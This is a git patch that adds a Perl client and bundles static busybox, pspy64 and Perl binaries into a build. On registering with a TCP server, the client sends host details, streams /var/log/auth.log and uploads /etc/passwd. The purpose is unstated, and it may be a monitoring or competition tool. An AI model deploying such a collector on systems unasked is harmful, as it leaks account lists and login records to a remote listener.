From d5889124e75ca9819d160b705cd8cf43e725f629 Mon Sep 17 00:00:00 2001 From: mivirl <> Date: Fri, 22 Sep 2023 23:16:54 -0500 Subject: [PATCH] Create perl client; add static perl binary to build --- build.sh | 3 +- checksums | 1 + src/client.pl | 162 ++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 165 insertions(+), 1 deletion(-) create mode 100644 src/client.pl diff --git a/build.sh b/build.sh index 217ebb1..29324cf 100644 --- a/build.sh +++ b/build.sh @@ -8,7 +8,7 @@ cd build/ #wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2 #wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 - +#wget http://staticperl.schmorp.de/smallperl.bin sha256sum -c ../checksums @@ -26,3 +26,4 @@ cd .. cp busybox-1.36.1/busybox output/ cp pspy64 output/ +cp smallperl.bin output/ diff --git a/checksums b/checksums index cd35cbf..5240504 100644 --- a/checksums +++ b/checksums @@ -1,2 +1,3 @@ b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314 busybox-1.36.1.tar.bz2 +f2376087e79ba18f2e1625e1ae969e6e96ef6fa2b77acd715041662658685c13 smallperl.bin c93f29a5cc1347bdb90e14a12424e6469c8cfea9a20b800bc249755f0043a3bb pspy64 diff --git a/src/client.pl b/src/client.pl new file mode 100644 index 0000000..33bb28f --- /dev/null +++ b/src/client.pl @@ -0,0 +1,162 @@ +#!/usr/bin/env perl +use strict; +use warnings; +use IO::Socket::INET; +use POSIX "strftime"; + +my $server_ip = "127.0.0.1"; +my $server_port = 8080; + +sub print_log { + my @lines = @_; + my $timestamp = strftime "%Y-%m-%d %H:%M:%S", localtime; + print "[$timestamp] ", @lines, "\n"; + return; +} + +# Run commands without calling the shell +sub ns_system { + my ($command, @arguments) = @_; + my $pid = open(my $fh_child, "-|"); + if (!$pid) { + exec { $command } @arguments; + } + my @output = <$fh_child>; + close $fh_child; + return @output; +} +sub ns_systemFH { + my ($command, @arguments) = @_; + my $pid = open(my $fh_child, "-|"); + if (!$pid) { + exec { $command } @arguments; + } + return $fh_child; +} + +sub connect_to_server { + my ($port) = @_; + $port = $server_port if (!defined $port); + my $socket = IO::Socket::INET->new( + PeerAddr => $server_ip, + PeerPort => $port, + Proto => 'tcp' + ); + $socket || die "Failed to connect: $!"; + $socket->autoflush(1); + return $socket; +} + +sub register { + my $socket = connect_to_server; + $socket->send("register\n"); + my $response; + foreach (1..5) { + sleep $_; + $socket->recv($response, 64); + last if ($response =~ m/Key/); + } + (my $clientName, my $clientKey) = $response =~ m/Name: (client_\d+)\nKey: (\d+)\n/; + + if (defined $clientName && defined $clientKey) { + print_log "Register: success"; + } else { + print_log "Register: failure"; + } + $socket->close(); + return ($clientName, $clientKey); +} + +sub login { + my ($clientName, $clientKey) = @_; + my $socket = connect_to_server; + my $response = ""; + $socket->send("login\n"); + $socket->send("$clientName\n"); + $socket->send("$clientKey\n"); + foreach (1..5) { + sleep $_; + $socket->recv($response, 64); + last if ($response =~ m/Auth/); + } + + if ($response =~ m/Auth success/) { + print_log "Login: success"; + } elsif ($response =~ m/Auth failure/) { + print_log "Login: failure"; + } + return $socket; +} + +sub send_info { + my ($clientName, $clientKey) = @_; + my $socket = login($clientName, $clientKey); + my $info = join "", ns_system('../busybox', '../busybox', 'sh', '-c', + 'date; hostname; uname -a; lspci; lsusb; ifconfig'); + $socket->send("info\n"); + $socket->send($info); + $socket->send("⟃---EOF---⟄\n"); + return; +} + +sub send_log { + my ($clientName, $clientKey, $file) = @_; + my $pid = fork; + return if ($pid); + + my $socket = login($clientName, $clientKey); + my ($fileName) = ns_system('../busybox', '../busybox', 'basename', "$file"); + $socket->send("log\n"); + $socket->send("$fileName\n"); + my $tailLog = ns_systemFH('../busybox', '../busybox', 'tail', '-F', "$file"); + while (<$tailLog>) { + $socket->send($_); + } + print_log "Log: Closing $file"; + close($tailLog); + $socket->send("⟃---EOF---⟄\n"); + return $socket->close(); +} + +sub send_file { + my ($clientName, $clientKey, $file) = @_; + my $pid = fork; + return if ($pid); + + my ($fileName) = ns_system('../busybox', '../busybox', 'basename', "$file"); + my ($fileHash) = ns_system('../busybox', '../busybox', 'md5sum', "$file"); + chomp $fileName; chomp $fileHash; + ($fileHash) = $fileHash =~ m/([0-9a-f]+)/; + + my $socket = login($clientName, $clientKey); + $socket->send("file\n"); + $socket->send("$fileName\n"); + $socket->send("$fileHash\n"); + sleep 2; + $socket->recv(my $port, 128); + ($port) = $port =~ m/(\d+)/; + + print_log "File: upload port is $port"; + open(my $fileFH, '<', "$file") || die "Failed to open $file"; + my $fileSocket = connect_to_server $port; + while (<$fileFH>) { + $fileSocket->send($_); + } + close($fileFH); + close($fileSocket); + + $socket->recv(my $response, 128); + if ($response =~ m/Transfer success/) { + print_log "File: upload success ($file)"; + return 1 + } else { + print_log "File: upload failure ($file)"; + } + return 0 +} + +my ($name, $key) = register; +#print_log "Name: $name, Key: $key"; +send_info($name, $key); +send_log($name, $key, '/var/log/auth.log'); +send_file($name, $key, '/etc/passwd'); -- 2.39.5